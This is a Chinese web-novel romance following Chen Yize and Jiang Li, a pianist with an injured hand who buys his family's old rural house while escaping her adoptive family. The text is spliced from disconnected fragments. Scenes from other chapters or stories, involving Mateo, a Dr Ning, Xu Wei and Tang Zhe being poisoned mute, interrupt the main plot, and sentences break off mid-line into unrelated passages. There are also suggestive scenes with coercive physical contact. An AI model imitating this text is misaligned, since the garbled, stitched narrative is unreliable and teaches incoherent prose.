“中午我们吃卤煮,听说味道很奇怪,我之前在老家吃过,不合胃口,不知道这里的正不正宗,吃完到了下午我们去圆明园散步,这个季节应该还有荷花的吧,想想就很漂亮嘻嘻……” “晚上去什刹海citywalk,找家铜锅涮羊肉,顺带可以去附近的酒吧喝几杯,我带了相机,可以给姐姐拍照!” 姜厘举着手机,耳朵凑近收音孔想把汤柘的声音降到最低,但毕竟没有连接耳机,身侧的高大男生还是轻易听到了语音的内容。 “你不觉得他刻意凹出来的气泡音很恶心吗?” 陈屹泽鼻梁上架着惹眼的BV墨镜,环臂跟在她身侧,面容挑剔。 陈屹泽拥有一段旷日持久的暗恋。 他远远望向主席台,女孩声音轻柔,毫无悔意地念着检讨。 “对殴打老师,我作出以下深刻检讨。” 她讲自己很抱歉对老师动手,虽然是老师侮辱在先,虽然听了许多人身攻击的词,但是学校有规定,学生不能殴打老师,虽然她并不能算是殴打,只打了一下。但老师咬死她动了手,并且因为那位老师是校长的表弟,所以她站在这里念检讨。 说得既真挚又严谨,饱含信念感,不知错也不改错的态度当即引起哗然。 台上台下乱成一片,从初一到高三,细语逐渐变为哄笑,甚至有人大喊牛逼,然后为此收获了班主任的低声指责。 陈屹泽看见校长因为起身得太激动,顶上的假发面很骄傲地上下拍了一下,露出白鸡蛋一样光滑的脑壳。 主持人夺过话筒敷衍几句,生硬地开始颁发这学期的三好学生奖状。 陈屹泽没听清主持人都说了些什么,他只瞧着那个女生站在半人高的主席台旁边,蓝白条纹的校服于她而言太过宽大,行走间几乎有些晃荡。 在主持人宣读三好学生名单的同时,她重新绕回主席台。 她真的很瘦,并不需要谁给她让开路,但前面几个好学生看见她靠近时都避之不及,台下居然还有保安围过去。 “秦……”主持人念名单的声音一卡。 观察到主持人或许有些为难,女孩十分善良地解围,靠过去些,笑得很好看。 “秦晴,高二七班,三好学生,很开心宣布从今天开始我会离开这个破学校。” 她说话的声音真的很好听,和她一样,美丽且锋利,骄傲且上扬。 但陈屹泽认识她温柔的样子。 学校食堂的大叔买菜时看见有条被碾了腿的小狼犬,带回学校安置在前任护校犬的笼子里。 秦晴每天都会带着火腿肠去喂那只小狗。 其实陈屹泽从没敢近距离正面看秦晴,泽少年的暗恋被仰慕和畏惧包裹。 害怕对方太好,又害怕自己不够好。 十三岁的陈屹泽认定,他还能在学校里听很多次秦晴弹琴,一直到他再长高一些,帅气一些。 他将会走到秦晴面前告白,如果可以,希望能够结婚。 可是秦晴突然宣布自己要离开学校,这句话对于私藏爱慕心意的少年来说,同灾难无疑。 他在失去秩序的校会里心慌,不顾老班的呼喝,拔腿去追那个往校外走的女孩。 陈屹泽拉住人,又迅速松开手,稀里糊涂劝她一切都会好的。 虽然全程没敢抬脸。 “谢谢你来听我弹琴。”她说。 “再见。”她又说。 之后转身,陈屹泽的视线里,那双脚离自己越来越远,她真的很瘦,校服穿在她身上很晃荡,像一阵风就能吹散的梦。 “我喜欢你啊!因为你很好!所以我喜欢你!”陈屹泽很大声地吼了出来。 “如果以后再见到,我会娶你。” 秦晴安静得有些久,久到陈屹泽怀疑这个世界出了点问题,否则为什么她一直不说话,为什么校园的春风里开始夹杂着老旧风扇的嘎吱声。 她突然问:“你叫什么名字?” 陈屹泽意识到自己其实从未看清过秦晴的样子。 于是他抬起脸,试图看清面前的人,“我叫——” “小兔崽子!”怒吼炸雷一样把梦劈碎。 然后就是毫不留情的一声“啪”,痛感把人拉向现实。 三叔的鸡毛掸子早已被盘得油光滑亮,打人时产生的疼痛具有年代感。 陈屹泽瞬间弹起,一头撞上旁边的风扇,在乱七八糟的动静里彻底失去一切回味余地。 “睡得好吧?”三叔目的达到,把鸡毛掸子安置回墙上挂着。 铺子里弥漫着陈年货物的味道,并不好闻,拿一百块肥皂泡了水来冲都冲不干净。 但陈屹泽觉得这样的味道代表很长久,长久就是安心,他喜欢在三叔这睡觉。 本来,他中午去奶场还了瓶子,理论上应该是要回家里铺子接着车那个衣柜的门板,张婶家闺女出嫁,很急这个嫁妆。 但陈屹泽被三叔当街拦下,因为他没能抵抗诱惑。 他这段时间太忙,忙着打衣柜,忙着送货,偶尔还要忙着揍人,没空闲进城。 三叔前两天买了几本新书回来,最新文学奖得主。三叔从不看书,但用来打窝很有效,陈屹泽一定会上勾。 一本三十块的书可以收获一个免费劳动力,你情我愿的事儿,很是划算。 结果陈屹泽睡了过去。 “天天喊你那亲亲,没见你小子好好谈个对象,成天做梦!”三叔拉停风扇。 “那是你这辈子没见过那样的人。”陈屹泽搓着后背站起来,遗憾于自己还是没敢看清脸,嘟囔,“见过就忘不了。” 他身边都是货架,年轻而充满力量的身体在狭小空间中显得有些委屈,伸懒腰时撞掉了几箱红糖。 陈屹泽常年被三叔压榨劳动力,于理货一项很是熟练,手脚麻利地完成任务。他出去时顺手在筐里捡个梨,往身上的背心裹两下就当清洁完毕,咬了一大口,打着哈欠毫无正形地靠在柜台准备看看书。 结果塑封都没撕掉,又被三叔拍了一巴掌,“别吃了。” 陈屹泽腮里还裹着块没来及嚼的梨,震惊且含糊地问:“你现在这么抠门了?你又更年期了?” “别贫啊。”三叔说,“你家老屋那买主不是今天到吗?你要不——” 难得见三叔说话卡壳,陈屹泽很是好奇地凑头过去。 三叔瞪他,继而叹气,“把那张桌子抬出来吧。” 看陈屹泽没反应,三叔又抬起手。 眼看着巴掌要拍去梨上,陈屹泽赶紧护着书躲远,“我说你打人这毛病真是。” 三叔半气半乐,“还能听见你在这事儿上教育人呢。” “别说得像我跟个恶霸似的。”陈屹泽从冰柜上捞起自己的帆布挎包,叼着梨把书放进去,“那些有钱人不都是过来看一圈就走?什么时候搬不都一样么。” 也是近一年的事儿,政策扶持,秋芒镇有几个小景区,游客增多,城里的老板开始来买老宅做民宿。 陈屹泽家的老屋在小镇东面,荒了几年,被收进置业委员会的名单里,陈屹泽认真地报了个价,自那之后没事就去委员会打听,上周被通知全款买了。 全!款! 老天奶。 这个消息在陈家引起轩然大波。 镇里也有其他卖老屋的,据说是近来民宿行业比较好做,大老板都喜欢跟着政策跑开发的旅游区,就是付钱时总有许多条款,没这么直接又大方的。 陈家好赖是体验了一把暴富的感觉。 也没能体验全乎。 人家是把钱打进第三方账户,说是要来验货,确定好了才正式 签约。 至于三叔说的那张桌子。 算是老物件,值钱也值钱不到哪去,主要是老祖在的时候一家人就在那吃饭,具有某种历史纪念意义。 陈屹泽没那么长情,但明白小老叔这是念旧,只是支支吾吾挂不下脸来说。 三叔觉得要搬出来,就是觉得这老房子能卖掉。 陈屹泽点头说这就去。 三叔又喊:“叫几个人帮你啊!” 陈屹泽已经发动摩托,一溜烟去了。 “猴一样!”三叔背着手准备回铺子,隔壁猪肉店的老孙支着板凳坐下,从裤兜掏出包烟,给三叔递了一根。 “家里有屹泽这种小辈,你就偷着乐吧!”老孙眯着眼吐出烟,“哪像我家那小子。” “二十三了,一点正形没有。”三叔语气里没有责怪,叼着烟也没点,回头看陈屹泽离开的方向。 老孙和他闲聊几句,难免又讲起买屋子的事,作为邻居,老孙没说得太直白,倒是语带希冀,“要能成,屹泽也松快些。” “钱啊。”三叔点了烟,重重地吸了一口。 两人的闲聊被一阵古怪的声音压盖。 “咕噜咕噜,噗,咔咔,咕噜,咔,哒。” 这条巷子路面由石板铺就,铺得乱七八糟,棱角四起,什么东西碾过去都会响,却没有过这么诡异的动静,实在让人好奇。 两人同步扭头,看见年轻女人出现在巷道口,因为一身白的原因,整个人都被太阳打得反光。 她头顶的帽檐很宽,圆乎乎地遮住脸,只能瞧见个下巴,人也瘦得很,纸一样晃过来,右手像是受了伤,裹着纱布,左手抬着手机看,身后跟着个半死不活的行陈箱。 行陈箱由一条拴在年轻女人腰间的彩色带子固定,跟在后头一路跌打滚爬。 走到近处,似乎是察觉到有人在看,她才把注意力从手机上挪开,把头抬起来些,脸也从帽子下露出来,很有礼貌地对着街边正在抽烟的两个人点头微笑。 然后一言不发继续往前走,好像只是和熟人打了个招呼。 有礼貌的生面孔。 三叔和老孙互相看了一眼,从彼此眼里看到了疑惑与茫然。 老孙问:“这谁家姑娘?” 三叔答:“不是镇里的吧。” 年轻女人走出去几步之后带着行陈箱调了个头,又绕回来。 她左手拿着手机把自己帽檐往上翻了一些,对三叔笑道:“你好。” 三叔都被搞得局促,“你好。” “甜吗?”她又问。 三叔发现她指着梨,“甜,自家种的。” 她就不再动了,盯着那筐梨,好像正在思考什么天大的问题。 三叔看了老孙一眼,发现老孙不知什么时候也站了起来。 然后就是很轻的一声“咔嗒”。 年轻女人解开了腰间的带子卡扣,行陈箱扑到地上,她也没回头看一眼,来到三叔面前给他看手机。 “请问您知道这里怎么走吗?” 三叔安静了。 那可太知道了。 老陈家的房子,十分钟之前他刚让自己大侄子去那搬桌子。 “你是干嘛来?”三叔决定稳妥发问。 “我来验房。”女人回答。 三叔点点头,尽量详细地给她指了条路,她说谢谢,继而走进铺子,在货架前转了两三圈,拿了把水果刀出来放在柜台。 三叔看着那把刀,眉头跳了跳。 “真的很甜吗?”她又问了一遍,然后解释,“我最近不能吃太酸,会反胃。” 三叔表示很甜,指了指刀,“削水果啊?” 她点头,认真地挑了半天,把仅有的几个看起来就酸的梨捡了出来。 最后一声像是从干涸沙漠中挤出来的嘶哑,姜厘甚至幻视到了工厂生锈烟囱中冒出的滚滚黑烟。 汤柘又尝试张了张唇,但没有任何声响再能发出, 他彻底被毒哑了。 姜厘一顿,募地转头望见气定神闲的陈屹泽。 第 43 章 第 43 章 早在第一次遇见汤柘后,陈屹泽就对他进行了整体点评。 陈屹泽说汤柘长得很傻,姜厘第一次听到有人的长相可以用傻来形容。 陈屹泽说他的眉间距太远,鼻梁虽挺但略宽,眼型流畅眼神却痴呆,配着双招风厚耳垂,看着像退休后会追着诈骗犯买保健品的类型。 姜厘被他形容得差点不知道汤柘长什么样了,但记忆中这小子从小到大都还挺受女生欢迎的,有几次还被她撞见了表白现场。 她默默埋头吃早点,屏息没出声,一直到陈屹泽点评完他的身高,继而转腔到他的声音。 “他声音……”陈屹泽停顿片刻,继续耸肩堂而皇之地贬低人,“也就一般。” “还可以吧。”外观来看,姜厘的最大的问题是SAD。 “至于精神,我喜欢用内核这个词,”他说,“人的内核强大,就会相信自己、愿意保护自己。” 看样子,她应该已经勇敢的为自己做了许多,那她是否知道,她已经得到了一些回馈呢? “当然,我会想办法叫她来。” 但实际上,向内探索,会发现,她的情绪都来自极度的不自信、极度的自我消耗。 陈屹泽一看他表情,明白过来他的意思,指自己道:“我?不好意思,以为许薇和您说了,我是她老板。” 宁长舒便确定了,姜厘是不会的。 宁医生笑眼弯弯,不拒绝送上门的金主。 她在社会人群中会感到紧张焦虑,严重时,会有呼吸困难、皮肤红疹等自主神经紊乱症状,影响到了正常的工作和生活。 宁医生后面还有课,陈屹泽直接开车送他到教学楼楼下,道别时,询问他科研经费、项目经费等,意思是可以为学术做些经济方面的贡献。 陈屹泽不满:“还得给她找个配偶?上哪儿找去。” 陈屹泽侧耳倾听。 会议室里大家都在等他,他踩点到,没说废话,开始了会议。 奇怪的人际关系样本又增加了一条呢,这有趣的人类世界,每个样本都活在一定的蒙昧之中。 陈屹泽风格简洁,说话做事雷厉风行的,开会的时候禁止唠里唠叨的废话、花里胡哨的ppt,如果看见模棱两可的观点,以及连时间起止和统计口径都不清晰的数据,他就会立刻打断,让人闭嘴。 “不行就换个人替你干”,这是他凶起来的口头禅。 他是真的凶,助理没有冤枉他。 因为是商科出身,所以更恨别人在技术上含糊其辞的蒙他,技术主管比别的主管还更更更怕他。 姜厘放假,技术主管自知被凶了都没人罩,在会上发言就更加谨慎,等到会议结束,陈屹泽对他点头说不错的时候,那眼泪啊,都快激动地流下来了。 散会,陈屹泽离开会议室,快步走在走廊中,助理亦步亦趋跟着他。 他拆了袖口纽扣,把袖子向上折两道,头也不抬的问:“下午是不是老陈来了?” 助理只觉他料事如神,都还没报告呢! 说来也是巧,下午陈屹泽让别人替他的那个会面,来的竟然是他老爸陈新城。 陈家父子这关系冰的是旷日持久,老陈当爹的主动求和,接受一个投资机构负责人的撮合,过来这里见陈屹泽。 日程表上挂的是投资机构的名字,但来的人实际是老陈。 然而陈屹泽并不知道,跑去见宁医生了,老陈等了半天等不到他回来,失望的走了。 也是好事,即便陈屹泽出现在了会面里,老陈恐怕也不会得到一个高兴的局面。 陈屹泽在楼下看见了他的车,就没打招呼。 真的想要低头,无论如何也会找到机会表达出来。 要是没有,就说明他还勉强。 陈屹泽不勉强他。 助理看他脸色,没往下说了,转而提到另一个人:“许薇小姐刚才也来了,在您办公室里等。” 许薇坐在沙发上等,手里拿着摆件看,有点无聊的样子。陈屹泽走进来,她转头,露出一张 姜厘闹了个大红脸,脑袋要埋进高领毛衣了,陈屹泽往旁边一看,稍挪步伐,身躯挡住外人的目光,从椅子上抄起她外套,往她脑袋上一套,再一拽胳膊,搂着她出去,一整套动作行云流水,好像排练过一样。 看了看表,陈屹泽没接茬,“走了,去她家接她。” 许薇跟着小跑进来,看这局面,忙道:“不好意思不好意思,我们是她朋友,刚巧路过。” 陈屹泽先出门,许薇落在后面,从桌上拎起一个牛皮纸袋子,说:“你这外套还没带回去呢,大忙人啊……” 前面说了,饭怎样都得吃,高级餐厅不必了,小区外一家中档饭馆更加方便快捷。 那饭馆里,有一桌是靠着落地玻璃的,有个男性食客往外看她,目光惊艳。 等等。 陈屹泽:“嗯,忙。” 饭馆是个大厅,里面也有不少人,都往这儿看。 她下意识就看陈屹泽。 三人吃饭聚会,计划的倒是好,等两人到姜厘家楼底下了,终于打通她电话,却听她说,自己不在家。 碰了一鼻子灰,陈屹泽面色不善的掉头出小区。 陈屹泽嘛,脸已经黑的跟碳似的了。 假期最后一天晚上,高中同学聚会,陈屹泽露了个面,外套落下来,许薇给他寄了。 “是我考虑不周,”她说。 姜厘低眸将油条淹死在白花花的豆浆中,想到之前校园举办的主持人大赛,汤柘作为业余参赛成员,还拿了亚军。 中肯来说,汤柘嗓音偏糙,是女生很喜欢的低音炮,男生也会觉得他声音很man,很有魅力。 但姜厘不是声控,一般不会太过关注人的声音是否好听。 各花入各眼,声音也一样,她就觉得陈屹泽讲话有时候劲劲儿的,还蛮有意思的。 “所以你也觉得他声音好听?” 男生募地抬眸,阴郁地看向她。 八仙桌这大块板子并不是可以从前门离开的形状,只能从后门离开。 陈屹泽没料到前院被砸。 院墙塌了一地,碎砖之外,砸墙者和陈屹泽对上视线,对方面上出现刹那惊讶,但立马变换脸色,抛出个极其恶劣的笑容。 “我说你躲哪去了。” 齐群。 他去张婶家现眼被孙明拦下,肯定不会痛快,掉头就来搞破坏。 这个动线很好猜。 而且,陈家这老屋卖出去的消息早已传遍整个小镇,买家和委员会约定今日来验收也不是什么秘密。 不乐意看这笔买卖成交陈家拿钱的大有人在,譬如齐群。 隔着残墙一堵,两人相隔不过十步,陈屹泽完全可以跨过去逮人。 “你不想要钱是吗?” 齐群冷笑:“老子信你个杀人犯的儿子卖了房会赔钱,我他妈——” 陈屹泽脸一沉,所有莫须有的指责都会就此停下。 他眯着眼,下颌瞬间绷紧,没有多余的言语或动作,仅仅只是站在那里,沉默地注视着,足以让人感受到压力。 尤其是多年来没少被收拾的齐群。 良久,陈屹泽才说:“我爸不是杀人犯,这件事我记得和你讲过很多回。” 在过去每一次齐群被陈屹泽殴打的日子里。 齐群挑衅多年,自然有了经验。 别看这陈屹泽平日里乐得跟个狗一样,但他从不用嘴巴说自己不开心,以前拎着斧子拦住门也不是没有过,那样的眼神,就是谁再往前就砍死谁。 想起那个画面,齐群缩了缩脖子,指着陈屹泽放狠话,“别管老子的事儿。” 他像是想走,陈屹泽始终没追过去,只是喊了他一声,然后说:“你再去张婶家,我会动手。” “老子怕你!”齐群回头吼他,离开前顺脚把陈屹泽的摩托踹倒。 陈屹泽的视线滑向地上那堆碎砖。 墙倒了,压住张老藤椅。 以前很多人都会在这个位置,坐在这张椅子上,哈哈笑着,和院外随便哪个人侃大山。 比如老爸。 陈屹泽看了几秒,又回忆了几秒。 最终拽了拽身上背着桌腿的背带,把桌盘滚去院里那棵老枣树边靠着。 然后他过去扒开碎砖,想要把那张椅子拽出来。 之后所有事情都变成了连环的意外。 蒸笼天气,空气凝滞,极其闷热。 陈屹泽蹲在墙边,扒拉一张再无用处的藤椅。 突然,他听见极其细微的,木质断裂的声音。 如同叹息一声。 没有预兆,没有征兆。 像是突然崩塌的倦怠,老树轰然折断。 桌板成了无辜的受害者,被吓得满地乱滚。 院墙被砸,老树轰然一倒,陈屹泽无语到想笑。 他挤了挤右眼,把即将滑下来的汗珠压平,接着用下唇盖住上唇,往自己脑门呼了口气,吹了下额前挂着汗的头发,算作给自己一丝清凉,好让自己尽快冷静下来。 结果听见老妈在院门外惊呼。 再瞧桌板已然逃命至门框。 门框经年累月经历潮湿和干燥,里头塞满了白蚁和木蠹虫,如今能勉强站在这都算是虚假繁荣,绝对拦不住那木板。 当然也扛不住人撞。 陈屹泽偏头呸去嘴里不慎含进去的木渣,刚想问老妈吓到没,这才瞧见那个年轻女人。 在这个被暑热困住的日子里。 他身在废墟和尘埃里, 迎上她直白的目光。 听见她叫了自己的名字。 凭心而论,陈屹泽认为这是个美女,鼻子是鼻子,眼是眼,白得像雪一样,好看。 但是。 陈屹泽很快从她脸上挪开视线,看向陈兰,“妈,这位是?” 陈兰应该是没听见这句话,喊着“哎哟”就过去给儿子拍身上的灰尘。 “哎,妈,别拍了,我自己——”陈屹泽被拍得piapia作响。 细小的灰尘重新扬起,在阳光下化作细小的光点四散飞舞。 他只好眯起眼,视线变得狭窄且模糊,捕捉到那个年轻女人正凝望自己,不是好奇或是嘲笑。 是一种无法理解的审视。 视线在混沌的灰尘中短暂交汇。 接着,姜厘低下头,轻笑出声,随后缓缓地呼出一口气,再抬起脸,她的微笑停留在礼貌的尺度上。 她往前一步,做了自己很好奇的事。尤其被Mateo看着,姜厘觉得难为情极了。 “再跟我顶一句呢。” 他倏地抬眼,露出眸底的不悦。 姜厘霎时间噤声。 脚面的柔软触感好似软体动物的触手,一点点从根骨陡直地伸入小腿线条,姜厘抿唇要抓他的手安抚,却始终被躲开。 这下就算Mateo再眼拙也看出了两人的关系。 他忙绕到沙发侧面把自己大衣挂起来,语气像是寒暄般,托盘交代出事情始末:“今天多亏了lili,楼上把我们淹了,我和她一块费了半天力气才把房间的水都除出去。” “Mateo.” 陈屹泽终于擦干净姜厘的脚,背过身平静地看他,“可以麻烦你帮我递一下手机吗?” 他摘围巾时顺手把手机扔在了玄关柜上。 “哦……好的。” Mateo很快把手机递给他,脸上浮现出未被接腔的尴尬。 姜厘纠结地闷着脑袋也不敢再帮他说话,耳边传来陈屹泽跟某商场柜员的订货沟通。 他说要一双37码的及膝靴,和一双长筒羊毛袜,半小时后送到。 围巾反过来用没沾水的那面裹住泛红的脚面,陈屹泽脱下身上的大衣,还没往下递,姜厘就秒懂般地接过来,牢牢把自己裹成粽子。 “还是哥哥的衣服暖。” 她用中文卖乖。 陈屹泽没表情地看了她一眼,也不知心情缓解了没有,转身跟Mateo去了阳台。 楼上的水管工应该已经修理好了,阳台已经不再漏水,只是天花板上洇湿一片,也不知道需不需要再打一层防水。 透色玻璃门被飘来的烟雾晕得朦胧,姜厘看着阳台并排相立的两人,头越来越疼。 怎么就这么巧…… 她纯口嗨了一句跟学长相约图书馆,最后真的被逮到跟Mateo共处一室,甚至正巧是她要把对方好心披上的大衣脱下之时,陈屹泽敲响了门。 姜厘手指焦灼地在屏幕上滑动。 被免打扰的聊天记录迸发式地弹出。 越往下,陈屹泽的怒气却越平。 刚开始不回消息的五分钟,他还很激进。 伸出左手戳那个门框。 随着指尖的力气压下去,残渣窸窸窣窣下坠。 手感果然很脆。 “姑娘,我家能做门框。”陈兰立马说,听起来真的很怕她不满意。 姜厘抬头打量整个院门,随着她视线划过,身边这对母子也稍微让了一些,力所能及地做些什么。 “能修吗?”所以姜厘只问了一句。 “能。”陈屹泽回答。 姜厘看了他一眼,“好。” 陈屹泽觉得有必要回应,于是“嗯”了一声。 姜厘解开腰间拴着行陈箱的背带,拎着梨,抬脚踏进院子。 行陈箱五体投地,又砸起一圈灰。 陈屹泽看看箱子,又看看她的背影。 第一次见到虐待行陈箱的人。 这箱子本该是雪白的,陈屹泽认得上面的标志,这个牌子的东西都十分昂贵。但它此刻伤痕累累,一头倒进灰土碎渣里。 陈屹泽把行陈箱扶了起来,“妈,这是买家?” 陈兰点头,又拧着眉偏头去瞧断墙,小声问:“怎么弄的?” 陈屹泽讲了个齐群的名字。 陈兰没控制住声音“啊”了一声,眉毛皱得更厉害了,小声喃喃:“这孩子真是……” 陈屹泽拍了拍老妈的后背安抚,又抱了一下她,“没事儿,我去给人好好介绍。” 陈兰:“能行吗?” “行不行的再说吧,”陈屹泽说,“我尽力。” 陈兰对儿子笑笑,“那要我帮什么吗?要不然让你三叔来说?我陪着你们一起吧,我这——” “妈,老妈,”陈屹泽按着老妈肩膀,让她别着急,“没事儿的,你先回吧,我一会问问她用不用叫委员会的人过来。” 姜厘正在观察着院里倒掉的树,听见陈兰小声喊了个什么,回头去瞧,看见陈屹泽抱了他妈妈一下,也看见被自己那个被扶起来,靠着墙的行陈箱。 视线停顿了几秒才收回去,她继续蹲地上研究倒掉的树,摸摸这,又戳戳那。 “小心划手。”陈屹泽在她后面突然出声。 姜厘被吓得一颤,接着继续摸着老树干。 背影比较倔强。 陈屹泽没明白这沉默是什么意思,只好先蹲在她身边,“我们不是要瞒着你拿东西,那张老桌一直放在仓库,没收拾出来,如果你要买,合同里只写了土地和房屋使用权,东西我们都是要拿走的,墙是意外,我们负责修。” 如果还有之后的话。 毕竟当场被人撞见,该说明的还是需要解释到位。 “好的,”姜厘点头,又说,“那张桌子很大。” 这就让陈屹泽不明白什么意思了,又说了一遍会划手,并表示这棵老树根他也会处理。 对方不语,一昧点头。 陈屹泽清清嗓,把这院子带老屋统共多大,几层楼几间屋说了一遍,“不过这些你合同上应该有,一般看房置业委员那边有人陪同的,要联系吗?” “不要,”姜厘当即拒绝,又说,“而且我没看过合同。” 陈屹泽从没发现自己这么笨嘴拙腮,否则怎么一句话都接不了? “这样,多久能住人啊?”她仰头看了一圈。 陈屹泽说:“收拾整理翻新,一个多月,要是舍得请人,加工加点,半个月也行,框架没问题,细处得好好弄。” “现在不行?”姜厘又问。 “灰大,水电没维修也不安全。”陈屹泽注意到她的右手受伤。 绷带的颜色几乎和她的皮肤融为一体,但那专业扎实的包扎显然不是什么普通伤口,整个掌心都被裹得严严实实,只露出苍白的指尖。 陈屹泽没打算问,看她真的对断掉的这棵树很感兴趣,就蹲在旁边陪她看,自己也莫名手闲起来,跟着东戳西摸。 姜厘看着人,发现他真是和读书的时候很不相同了。 她对陈屹泽的记忆并不多,但比较深刻。 高中那天,她大闹校会,看似畅快,总归也是初犯,走向校门时还有些手抖。 陈屹泽穿过人群送来安慰,还附赠了个告白。 如今看来,这个告白,也并没有太多诚意。 是自己变了太多么? 改了个名,又不是换了个头。 姜厘对此怀疑,拿着手机,用黑色的屏幕照脸,认定自己没有问题。 破案了,陈屹泽有大问题。 姜厘又看了人一眼。 陈屹泽正回忆着别家卖掉老屋,都是一堆人来验房,闹闹腾腾东问西问。 蹲这算怎么个事儿? 她手里这袋梨看着很眼熟,不晓得三叔有没有乱喊价。 “走吧,你带我转转?”她终于提出建议。 陈屹泽立马起身。 他还是很希望把老屋卖出去的,决定尽人事。 陈屹泽迅速在脑海里过了一遍路线,“那我先带你看厢房。” 他走了几步,没听见身后有人跟上来,疑惑地回头。 姜厘拎着梨,笑眯眯地问他:“你准备什么时候把衣服穿上呢?” 姜厘第一次对他生气。 陈屹泽忽地笑,胸腔震颤,男生眸底情绪翻腾,浓烈成沉黑的雾气。 须臾间, 他倾身,含住了她的手指。 第 44 章 第 44 章 惩罚在教育学中的观点,是指当个体做出某种反应后,呈现一个厌恶刺激,以消除或抑制此类反应的过程。 如体罚或抄写。 带着韧劲的舌头裹着嫩白指尖,湿腻的触感携着水渍声在方寸电梯间反复回荡,无限制地刷新着姜厘的认知。 大脑一片空白,仿佛被掷到了一片无物之境,被轻吮的手指无意识地在他湿热潮靡的口腔中跳了跳。 事态发展得太快。 小安告知姜厘,她所有专辑的版权都被收走,同时结束了一切代言合约,对方要求她三天之内做出选择。 她只好决定,多出二十四万。 “姐,那个陈先生看起来很生气。”小安回头看,那个人始终盯着她们。 “我知道,”姜厘说,“先说正事吧。” 小安立刻说:“律所刚刚已经完成了一切分割,从现在开始,你和姜家没关系了,你的养母得知消息后,已经在准备发布会。” 养母。 姜厘是被姜家收养的,在高中那场灾难之后,一众亲戚对她避如蛇蝎,是她的钢琴老师姜臣歌找上了她,表示自己愿意继续支持她深造下去。 “你的手是音乐世界的宝藏。”他这样说,产生了足够的希望。 彼时的秦晴站在人生的十字路口,满目疮痍。姜臣歌正式领养了她,改名姜厘。 他是一位好老师,好父亲,很大程度上弥补了姜厘从未拥有过的父爱。 姜厘有个养母,还有个养兄。 直到身体传来可耻的微妙变化,姜厘才意识到陈屹泽眼中的惩罚和她理解的惩罚并不完全重合。 骨骼发软,男生从始至终一直盯着她, 深黑的瞳孔放空又聚焦,唇型合成她指圈的形状,边角溢出一道骀荡的银丝。 他浪荡地含着,睫毛轻阖,还要再往深了吞.吐时,姜厘眉心突然重重一跳,她深咽下喉咙中过重的呼吸,找机会飞快把手指抽出来—— “你疯了——唔!” 眸底旖旎荒唐情欲未退,陈屹泽表情散漫,居高临下,随意又将自己的双指插入她没说完话的口中。 叩住对面人挣扎的下巴, 变故发生在三年前,姜臣歌因意外去世,遗嘱写明深爱妻子,因此妻子是唯一继承人。彼时的姜厘尚未来得及悲痛,就被养母的恶意烫得体无完肤。 原来这位温柔相待多年的养母一直认定姜厘和姜臣歌有肮脏秘密,说了许多不堪的话,字字珠玑,剥皮碎肉,也是那个时候,养母设置了万般针对姜厘的家族条例。 尽管如此,姜厘依然在履行“姜家钢琴师”的职责,为了报恩,也为了让自己好歹还有个家。 半年前,大她四岁的养兄姜辞忧正式宣布要和姜厘订婚。 在没有告知当事人的前提下。 姜厘不知道这份感情萌芽于何时,又是为何发展到这般地步,但这一点无疑彻底烧穿了养母的理智。 在姜厘右手受伤,确诊无法恢复如常之后,养母提前公布了她的家族条例,表示姜厘个人名下拥有超过两百六十万,即姜家赠与房产和车产总额的百分之十,姜家将会收回所有赠与物资,对外公布她这个人和姜家再无关系。 也就是说,姜厘只要明面上拥有超过这个数字的资产,就必须离开姜家。不愿意离开也可以,那么就不能拥有自我财富。 那毕竟是姜家。 所有人都认定姜厘舍不得富贵生活,没太考虑她想怎么活着。 两条路摆在姜厘面前,要么忍气吞声,继续做姜家的小女儿,一个无法再奏出完美音乐的业界过期品,但好歹依然拥有价值,很好拿捏。 要么早点安家,早点离开。 任何一条路都在逼她不准答应姜辞忧的求婚。 养母很认定这段疯狂的关系里,姜厘永远是主动勾引的那一个。 搅动,再搅动,直到指腹传来刺痛感。 他才笑得漫不经心,贴近人的耳垂,轻慢道:“这可不是对我的惩罚,宝宝。” “就只有这点力气么?”忙碌又平静地度过了几天。 太平得像是齐群那件事发生于十年前。 根据过往经验,陈屹泽为二丫出头后,长则三天,短则半小时,齐群一定要找回场子。 除了这次,他安静得像是换芯了一样。 奇了个大怪。 期间孙明和王天几次试图套话,想知道究竟是多么神奇的句子,可以一举干废齐群。 可姜厘只是笑眯眯地扯开话题,陈屹泽更是一问三不知。 又不可能去找二丫问,两人十分着急于真相。 隐隐约约,好似日子已经开始变得不一样。 陈屹泽再次看向手机,确定姜厘的助理是今天过来。 如果顺利的话。 齐群找上门时,陈屹泽刚把衣柜给张婶送过去,折回来发现铺子门口停着辆摩托,齐群蹲在院里抽烟。 背影很是惆怅。 耳边传来细腻成网状的热气。 姜厘喉咙发干,她眼眶溢出泪水,使劲把叩着下巴的手臂向下压,嗓音含糊不清,“松手……我要讨厌你了……” “哦,那你准备怎么讨厌我啊?” 陈屹泽眉眼仍旧带笑,玩乐的口吻。 姜厘知道陈屹泽这屋子售价二百四十万,姜厘从二十岁崭露头角开始,演奏会,比赛,代言,专辑合作,的确挣过钱,而且马上能认证伤势,拿到保险赔偿。 但是,被前后堵截的情况下,她需要立马决定,获得一个法律意义上的牺牲之所。可要是让她短时间内再去凑另一套屋子的钱出来,那是天方夜谭。 她明白陈屹泽的尊严受伤。 却无法告知真相,因为事实太过难以启齿。 “喂,我告诉你呀,我的养母怀疑我和她丈夫有一腿,又认定我勾引她儿子,所以逼我离开,所以我非要两百六十万买你这屋子。” 多么扯淡的一个故事。 她经历过这么疯的生活,却依然难以用语言描述出来。 手废了,家没了,刚刚亲自推开一个朋友。 人生真的是太过美妙。 留给惆怅的时间并不多,姜辞忧调查小安行踪,两日后到达秋芒镇。 “厘厘,你出来或者我进去,希望你选择前者,相信你也会担心小安之后的就业前程。” 车队堵在镇口,几名保镖巡视着逼退围观的人,阻止试图拍摄的人。 姜厘面无表情地走向自己熟悉的那一辆车,车窗很快降下,西装革履的人在里面说:“上车。” 与生俱来的优越感让姜辞忧无需提高音量就能施加压力。 姜厘喊他“哥哥”,她知道他不喜欢这个称呼,也明白自己此时有多么故意。 “别逼我了吧?” 姜辞忧说:“你妈妈的事,我解决了。” “谢谢,”姜厘问,“火化了吗?” 电梯叮地一声停止运行,银白色的门缓缓展开。 姜厘羞耻之心爆发,许是陈屹泽放轻了对她的桎梏,她一把就推开了对方,直冲到洗手间捧水漱口。 清澈的水面映出稚嫩无措的脸蛋,姜厘抬头从镜中望见自己烧红的脸,唇角明明是水渍,却莫名看出几分粘腻。 刚才的荒诞画面不断重演,她脑袋要爆炸,狠狠砸了一把烘手机,借着巨响遏制了许久才重新冷静下来。 陈屹泽就是个混蛋!!! 